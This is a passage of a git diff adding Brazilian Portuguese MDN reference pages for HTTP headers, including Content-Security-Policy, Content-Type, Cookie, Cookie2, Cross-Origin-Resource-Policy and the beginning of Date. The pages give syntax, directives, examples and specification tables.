3.0")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Sem alterações.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Security-Policy-Report-Only")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>Diretiva CSP {{CSP("report-uri")}}</li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Segurança de conteúdo em WebExtensions</a></li> + <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Mostra políticas de privacidade e segurança nas Ferramentas de Desenvolvedor do Firefox</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/content-security-policy/index.html b/files/pt-br/web/http/headers/content-security-policy/index.html new file mode 100644 index 0000000000..eed769ff8a --- /dev/null +++ b/files/pt-br/web/http/headers/content-security-policy/index.html @@ -0,0 +1,261 @@ +--- +title: Content-Security-Policy +slug: Web/HTTP/Headers/Content-Security-Policy +tags: + - CSP + - Cabeçalho de Resposta + - HTTP + - Política de Segurança de Conteúdo + - Referencia + - Segurança + - cabeçalho +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Content-Security-Policy</code></strong> permite aos administradores do site, ter controle sobre os recursos que o agente de usuário é permitido carregar para uma certa página. Com algumas pequenas exceções, políticas majoritariamente envolvem especificar as origens do servidor e pontos de acessos dos <em>scripts</em>. Isso ajuda contra ataques de <em>scripting</em> entre sites ({{Glossary("XSS")}}).</p> + +<p>Para mais informações, veja o artigo introdutório em <a href="/en-US/docs/Web/HTTP/CSP">Política de Segurança de Conteúdo (<em>Content Security Policy</em>)(CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Security-Policy: <policy-directive>; <policy-directive> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3> + +<p>Diretivas de busca (<em>Fetch directives</em>) controlam as localizações dos quais certos tipos de recursos podem ser carregados.</p> + +<h4 id="Lista_de_Diretivas_de_busca_de_Política_de_Segurança_de_Conteúdo_CSP">Lista de Diretivas de busca de Política de Segurança de Conteúdo (CSP)</h4> + +<dl> + <dt>{{CSP("child-src")}}</dt> + <dd>Define uma origem válida para <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> e contextos aninhados de navegação carregados usando elementos como {{HTMLElement("frame")}} e {{HTMLElement("iframe")}}. + <div class="warning"> + <p>Ao invés de <strong><code>child-src</code></strong>, os autores que querem regular contextos de navegação aninhadas e trabalhores devem usar as diretivas {{CSP("frame-src")}} e {{CSP("worker-src")}}, respectivamente.</p> + </div> + </dd> + <dt>{{CSP("connect-src")}}</dt> + <dd>Restringe a URL que pode ser carregada usando interfaces de script.</dd> + <dt>{{CSP("default-src")}}</dt> + <dd>Funciona como recuo para a outra {{Glossary("Fetch directive", "fetch directives")}}.</dd> + <dt>{{CSP("font-src")}}</dt> + <dd>Especifica origens válidas para as fontes de letras carregadas usando {{cssxref("@font-face")}}.</dd> + <dt>{{CSP("frame-src")}}</dt> + <dd>Especifica origens válidas para carregamento de contextos de navegação aninhados usando elementos como {{HTMLElement("frame")}} e {{HTMLElement("iframe")}}.</dd> + <dt>{{CSP("img-src")}}</dt> + <dd>Especifica origens válidas para imagens e ícones.</dd> + <dt>{{CSP("manifest-src")}}</dt> + <dd>Especifica origens válidas dos arquivos de manifesto da aplicação.</dd> + <dt>{{CSP("media-src")}}</dt> + <dd>Especifica origens válidas para carregar dados de media usando os elementos {{HTMLElement("audio")}} , {{HTMLElement("video")}} e {{HTMLElement("track")}}.</dd> + <dt>{{CSP("object-src")}}</dt> + <dd>Especifica origens válidas para os elementos {{HTMLElement("object")}}, {{HTMLElement("embed")}}, e {{HTMLElement("applet")}}.</dd> + <dd class="note">Elementos controlados por <code>object-src</code> sejam talvez considerados elementos HTML legados e não estão recebendo novas funcionalidades padrão (como os atributos de segurança <code>sandbox</code> ou <code>allow</code> para <code><iframe></code>). Sendo assim é <strong>recomendado</strong> restringir o uso desta diretiva (e.g. colocar explicitamente <code>object-src 'none'</code> se possível).</dd> + <dt>{{CSP("prefetch-src")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para serem pré-carregadas ou pré-renderizadas.</dd> + <dt>{{CSP("script-src")}}</dt> + <dd>Especifica origens válidas para JavaScript.</dd> + <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para elementos JavaScript {{HTMLElement("script")}}.</dd> + <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para <em>handlers</em> de eventos JavaScript <em>inline</em>.</dd> +</dl> + +<dl> + <dt>{{CSP("style-src")}}</dt> + <dd>Especifica origens válidas para arquivos de estilo.</dd> + <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para elementos de estilo {{HTMLElement("style")}} e elementos {{HTMLElement("link")}} com <code>rel="stylesheet"</code>.</dd> + <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para estilos dentro de linha aplicados a elementos DOM individuais.</dd> + <dt>{{CSP("worker-src")}}{{experimental_inline}}</dt> + <dd>Especifica origens válidas para scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}}, ou {{domxref("ServiceWorker")}}.</dd> +</dl> + +<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3> + +<p>As diretivas de Documento governam as propriedades de um documento ou ambiente <a href="/en-US/docs/Web/API/Web_Workers_API">worker (trabalhador)</a> para qual a política se aplica.</p> + +<h4 id="Lista_de_diretivas_de_Documento_da_Política_de_Segurança_de_Conteúdo">Lista de diretivas de Documento da Política de Segurança de Conteúdo</h4> + +<dl> + <dt>{{CSP("base-uri")}}</dt> + <dd>Restringe as URLs que podem ser usadas em um elemento {{HTMLElement("base")}} do documento.</dd> + <dt>{{CSP("plugin-types")}}</dt> + <dd>Restringe o conjunto de <em>plugins</em> que podem ser embutidos em um documento limitando pelos tipos de conteúdos que podem ser carregados.</dd> + <dt>{{CSP("sandbox")}}</dt> + <dd>Habilita o <em>sandbox</em> para um recurso requisitado similar ao atributo {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.</dd> +</dl> + +<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3> + +<p>Diretivas de Navegação governam para qual localização um usuário pode navegar ou submeter um formulário para, por exemplo.</p> + +<h4 id="Lista_de_diretivas_de_Navegação_da_Política_de_Segurança_de_Conteúdo">Lista de diretivas de Navegação da Política de Segurança de Conteúdo</h4> + +<dl> + <dt>{{CSP("form-action")}}</dt> + <dd>Restringe as URLs que podem ser usadas como alvo para as submissões de um formulário para um dado contexto.</dd> + <dt>{{CSP("frame-ancestors")}}</dt> + <dd>Especifica pais válidos que podem embutir uma página usando {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</dd> + <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt> + <dd>Restringe as URLs para qual um documento pode iniciar navegação quaisquer sejam os motivos, incluindo {{HTMLElement("form")}} (se {{CSP("form-action")}} não for especificado), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc.</dd> +</dl> + +<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3> + +<p>Diretivas de Relatório controlam o processo de reportar as violações CSP. Veja também o cabeçalho {{HTTPHeader("Content-Security-Policy-Report-Only")}}.</p> + +<h4 id="Lista_de_Diretivas_de_Relatório_da_Política_de_Segurança_de_Conteúdo">Lista de Diretivas de Relatório da Política de Segurança de Conteúdo</h4> + +<dl> + <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt> + <dd>Instrui ao agente de usuário para reportar tentativas de violaçnao de Política de Segurança de Conteúdo. Esses relatórios de violação consistem de documentos {{Glossary("JSON")}} enviados por requisição HTTP <code>POST</code> para uma URI especificada. + <div class="warning"> + <p>Apesar da diretiva {{CSP("report-to")}} tem a inteção de trocar a diretiva depreciada <code><strong>report-uri</strong></code>, {{CSP("report-to")}} não é suportado na maioria dos navegadores ainda. Então para compatibilidade com os navegadores atuais enquanto adiciona a compatibilidade com {{CSP("report-to")}}, você pode especificar ambos <code><strong>report-uri</strong></code> e {{CSP("report-to")}}:</p> + + <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre> + + <p>Em navegadores que suportam {{CSP("report-to")}}, a diretiva <code><strong>report-uri</strong></code> será ignorada.</p> + </div> + </dd> + <dt>{{CSP("report-to")}}{{experimental_inline}}</dt> + <dd>Dispara um <code>SecurityPolicyViolationEvent</code>.</dd> +</dl> + +<h3 id="Outras_diretivas">Outras diretivas</h3> + +<dl> + <dt>{{CSP("block-all-mixed-content")}}</dt> + <dd>Previne carregamento de quaisquer recursos usando HTTP quando a página é carregada usando HTTPS.</dd> + <dt>{{CSP("referrer")}}{{deprecated_inline}}{{non-standard_inline}}</dt> + <dd>Era usado para especificar informação no cabeçalho de referência (sic) para links fora da página. Ao invés disso, use o cabeçalho {{HTTPHeader("Referrer-Policy")}}.</dd> + <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt> + <dd>Obriga o uso de {{Glossary("SRI")}} para <em>scripts </em>ou estilos na página.</dd> + <dt>{{CSP("require-trusted-types-for")}}{{experimental_inline}}</dt> + <dd>Impõe <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> (Tipos confiáveis) em coletores de eventos (vide: <a href="https://en.wikipedia.org/wiki/Sink_(computing)">Sink (Computing)</a>) para evitar injeção de DOM XSS.</dd> +</dl> + +<dl> + <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt> + <dd>Usado para especificar uma lista branca de políticas <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> (Tipos confiáveis) (Tipos confiáveis permitem aplicações travarem injeções DOM XSS em coletores de eventos (<em>sinks</em>) para aceitarem somente valores tipados não falsificáveis no lugar de <em>strings</em>.</dd> +</dl> + +<dl> + <dt>{{CSP("upgrade-insecure-requests")}}</dt> + <dd>Instrui o usuário de agente a tratar todas as URLs inseguras de um site (aquelas servidas através do HTTP) a serem trocadas por URLs seguras (aqueles servidas através de HTTPS). Essa diretiva tem como foco sites com grande número de URLs inseguras e legadas que precisam ser reescritas.</dd> +</dl> + +<h2 id="CSP_em_workerstrabalhadores">CSP em workers(trabalhadores)</h2> + +<p><a href="/en-US/docs/Web/API/Worker">Workers (trabalhadores)</a> em geral não são governados pela política de segurança de conteúdo do documento (ou trabalhador pai) que os criou. Para especificar uma política de segurança de conteúdo para um trabalhador, coloque um cabeçalho de resposta <code>Content-Security-Policy</code> para a requisição que pediu o <em>script</em> do trabalhador em si.</p> + +<p>A exceção à isso é se o <em>script</em> original do trabalhador é um identificador único global (por exemplo, se a URL tem um esquema de dados ou <em>blob</em>). Neste caso, o trabalhador herda a política de segurança de conteúdo do documento ou trabalhador que o criou.</p> + +<h2 id="Múltiplas_políticas_de_segurança_de_conteúdo">Múltiplas políticas de segurança de conteúdo</h2> + +<p>CSP permite múltiplas políticas sendo especificadas para um recurso, através dos cabeçalhos <code>Content-Security-Policy</code>, {{HTTPHeader("Content-Security-Policy-Report-Only")}} e do elemento {{HTMLElement("meta")}}.</p> + +<p>Você pode usar o cabeçalho <code>Content-Security-Policy</code> mais de uma vez como no exemplo abaixo. Preste atenção a diretiva {{CSP("connect-src")}} aqui. Mesmo que a segunda política permitiria a conexão, a primeira política contém <code>connect-src 'none'</code>. Adicionando políticas adicionais <em>podem somente restringir</em> as capacidades do recurso protegido, o que significa que não haverá conexão permitida e, como política mais restrita, <code>connect-src 'none'</code> é imposto.</p> + +<pre>Content-Security-Policy: default-src 'self' http://example.com; + connect-src 'none'; +Content-Security-Policy: connect-src http://example.com/; + script-src http://example.com/</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Exemplo: Desabilitar <em>inline/eval</em> inseguros, permitindo somente carregamento de conteúdos (imagens, fontes de letras, scripts, etc.) através do HTTPS:</p> + +<pre>// cabeçalho +Content-Security-Policy: default-src https: + +// meta tag +<meta http-equiv="Content-Security-Policy" content="default-src https:"> +</pre> + +<p>Exemplo: Site pré-existente que usa muito código dentro de linha para corrigir mas quer assegurar que os recursos são carregador somente através de HTTPS e desabilita plugins:</p> + +<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre> + +<p>Exemplo: Não implemente a política acima ainda, ao invés disso, somente reporte as violações que podem ter ocorrido:</p> + +<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>Veja as <a href="https://infosec.mozilla.org/guidelines/web_security#Examples_5">Mozilla Web Security Guidelines</a> para mais exemplos.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Adiciona <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Desdeprecia <code>frame-src</code>. Deprecia <code>report-uri</code> em favor de <code>report-to</code>.</td> + </tr> + <tr> + <td>{{specName("Mixed Content")}}</td> + <td>{{Spec2("Mixed Content")}}</td> + <td>Adiciona <code>block-all-mixed-content</code>.</td> + </tr> + <tr> + <td>{{specName("Subresource Integrity")}}</td> + <td>{{Spec2("Subresource Integrity")}}</td> + <td>Adiciona <code>require-sri-for</code>.</td> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests")}}</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + <td>Adiciona <code>upgrade-insecure-requests</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2("CSP 1.1")}}</td> + <td>Adiciona <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecia <code>frame-src</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.0")}}</td> + <td>{{Spec2("CSP 1.0")}}</td> + <td>Define <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, <code>report-uri</code>, <code>sandbox</code>, <code>script-src,</code> e <code>style-src</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CSP">Aprenda sobre: Content Security Policy</a></li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Segurança de Conteúdo em Extensões Web</a></li> + <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adotando uma política estrita</a></li> + <li><a href="https://csp-evaluator.withgoogle.com/">Avaliador CSP</a> - Avalie sua Política de Segurança de Conteúdo</li> +</ul> diff --git a/files/pt-br/web/http/headers/content-type/index.html b/files/pt-br/web/http/headers/content-type/index.html new file mode 100644 index 0000000000..9395bbfbc8 --- /dev/null +++ b/files/pt-br/web/http/headers/content-type/index.html @@ -0,0 +1,117 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +translation_of: Web/HTTP/Headers/Content-Type +--- +<div>{{HTTPSidebar}}</div> + +<div>O cabeçalho <strong>Content-Type</strong> é utilizado para indicar o {{Glossary("MIME type","tipo de arquivo")}} do recurso.</div> + +<div> </div> + +<div>Em respostas, o <code>Content-Type</code> diz para o client qual é o tipo de conteúdo que a resposta, de fato, tem. Alguns browsers vão realizar o chamado "MIME Sniffing" em alguns casos e não vão, necessariamente, seguir o valor declarado por este cabeçalho. Para previnir este comportamento é possível definir o cabeçalho {{HTTPHeader("X-Content-Type-Options")}} para o valor <code>nosniff</code>.</div> + +<div> </div> + +<div>Em requisições, como {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}, o client diz ao servidor qual o tipo de dado que está, de fato, sendo enviado.</div> + +<div> </div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">tipo de cabeçalho</th> + <td>{{Glossary("Cabeçalho de entidade")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Nome de cabeçalho proibido")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cabeçalho de resposta simples", "Cabeçalho de resposta na lista segura do CORS")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 +Content-Type: multipart/form-data; boundary=something +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>media-type</code></dt> + <dd>O <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> do recurso ou dado.</dd> + <dt>charset</dt> + <dd>O encoding da string</dd> + <dt>boundary</dt> + <dd>Para entidades do tipo multipart, a diretiva <code>boundary</code> é obrigatória. Ela consiste em uma sequencia de 1 a 70 caracteres de um conjunto conhecido por sua robustez em gateways de e-mail, e não podem terminar com espaço em branco. É utilizado para encapsular as bordas das multiplas partes da mensagem.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Content-Type_em_formulários_HTML"><code>Content-Type</code> em formulários HTML</h3> + +<p>Em uma requisição {{HTTPMethod("POST")}}, resultado de uma submissão de um formulário HTML, o <code>Content-Type</code> da requisição é especificado pelo atributo <code>enctype</code> do elemento {{HTMLElement("form")}} do HTML.</p> + +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> + <input type="text" name="description" value="some text"> + <input type="file" name="myFile"> + <button type="submit">Submit</button> +</form> +</pre> + +<p>A requisição vai parecer com isto (alguns headers não importantes foram omitidos):</p> + +<pre>POST /foo HTTP/1.1 +Content-Length: 68137 +Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 + +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="description" + +some text +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="myFile"; filename="foo.txt" +Content-Type: text/plain + +(content of the uploaded file foo.txt) +---------------------------974767299852498929531610575 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_browsers">Compatibilidade de browsers</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Type")}}</p> + +<h2 id="Ver_também">Ver também</h2> + +<ul> + <li>{{HTTPHeader("Accept")}} e {{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> + <li>{{HTTPStatus("206")}} Partial Content</li> + <li>{{HTTPHeader("X-Content-Type-Options")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/cookie/index.html b/files/pt-br/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..f768414cb1 --- /dev/null +++ b/files/pt-br/web/http/headers/cookie/index.html @@ -0,0 +1,75 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +tags: + - Cabeçalho de requisição + - Cookies + - HTTP + - Referencia + - cabeçalho + - requisição +translation_of: Web/HTTP/Headers/Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Cookie</code></strong> contém <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP</a> armazenados anteriormente que foram enviados pelo servidor com o cabeçalho {{HTTPHeader("Set-Cookie")}}.</p> + +<p>O cabeçalho <code>Cookie</code> é opicional e pode ser omitido se, por exemplo, as configurações de privacidade do navegador bloqueiam <em>cookies</em>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Cookie: <cookie-list> +Cookie: name=value +Cookie: name=value; name2=value2; name3=value3</pre> + +<dl> + <dt><cookie-list></dt> + <dd>Uma lista de pares nome-valor na forma de <code><cookie-name>=<cookie-value></code>. Pares na lista são separados por ponto e vírgula e um espaço (<code>'; '</code>).</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Cookie", "5.4")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cookie")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/cookie2/index.html b/files/pt-br/web/http/headers/cookie2/index.html new file mode 100644 index 0000000000..416b0ae8ab --- /dev/null +++ b/files/pt-br/web/http/headers/cookie2/index.html @@ -0,0 +1,60 @@ +--- +title: Cookie2 +slug: Web/HTTP/Headers/Cookie2 +tags: + - Cabeçalho de requisição + - HTTP + - Obsoleto + - Referencia + - cabeçalho + - requisição +translation_of: Web/HTTP/Headers/Cookie2 +--- +<div>{{HTTPSidebar}} {{obsolete_header}}</div> + +<p>O obsoleto cabeçalho de requisição HTTP <strong><code>Cookie2</code></strong> costumava aconselhar o servidor que o agente de usuário entende <em>cookies</em> de "novo estilo", mas atualmente os agentes de usuário vão usar o cabeçalho {{HTTPHeader("Cookie")}} ao invés disso, não este.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Cookie2: $Version="1"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("2965", "Cookie2")}}</td> + <td>Especificação histórica do HTTP State Management Mechanism, obsoleta pela {{RFC("6265")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cookie2")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/cross-origin-resource-policy/index.html b/files/pt-br/web/http/headers/cross-origin-resource-policy/index.html new file mode 100644 index 0000000000..7b03c45837 --- /dev/null +++ b/files/pt-br/web/http/headers/cross-origin-resource-policy/index.html @@ -0,0 +1,76 @@ +--- +title: Cross-Origin-Resource-Policy +slug: Web/HTTP/Headers/Cross-Origin-Resource-Policy +tags: + - CORP + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy +--- +<div>{{HTTPSidebar}}</div> + +<div class="note"> +<p><strong>Nota:</strong> Devido a um <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1074261">bug no Chrome</a>, configurar Cross-Origin-Resource-Policy pode quebrar a renderização de PDF, impedindo visitantes de conseguir ler além da primeira página de alguns PDFs. Utilize com cuidado este cabeçalho em um ambiente de produção.</p> +</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Cross-Origin-Resource-Policy</code></strong> indica um desejo que o navegador bloqueie requisições que não sejam entre origens e/ou entre sites para um dado recurso.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>O cabeçalho de resposta abaixo pode causar a agentes de usuário compatíveis a desabilitar requisição que não sejam entre origens:</p> + +<pre>Cross-Origin-Resource-Policy: same-origin +</pre> + +<p>Para mais exemplos, veja <a href="https://resourcepolicy.fyi/">https://resourcepolicy.fyi/</a>.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + <tr> + <td>{{SpecName("Fetch", '#cross-origin-resource-policy-header')}}</td> + <td>{{Spec2("Fetch", '#cross-origin-resource-policy-header')}}</td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Cross-Origin-Resource-Policy")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)">Explicação da Cross-Origin Resource Policy (CORP)</a></li> + <li><a href="https://resourcepolicy.fyi/">Considere usar Cross-Origin Resource Policy</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/date/index.html b/files/pt-br/web/http/headers/date/index.html new file mode 100644 index 0000000000..cd3991f402 --- /dev/null +++ b/files/pt-br/web/http/headers/date/index.html @@ -0,0 +1,105 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +tags: + - Cabeçalho Geral + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho geral HTTP <strong><code>Date</code></strong> contém a data e a hora que a mensagem foi gerada.</p> + +<div class="blockIndicator warning"> +<p>Note que <code>Date</code> é listado em <a href="https://fetch.spec.whatwg.org/#forbidden-header-name" rel="nofollow noreferrer">nomes de cabeçalhos proibidos</a> na especificação do fetch - então este código não enviará o cabeçalho <code>Date</code>:</p> + +<pre class="brush: js notranslate">fetch('https://httpbin.org/get', { + 'headers': { + 'Date': (new Date()).toUTCString() + } +})</pre> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><day-name></dt> + <dd>Dia da semana, um de "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensível a capitalização). Segunda-feira até domingo em ordem.</dd> + <dt><day></dt> + <dd>Um dia em número de 2 dígitos, e.g. "04" ou "23".</dd> + <dt><month></dt> + <dd>Um de "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", 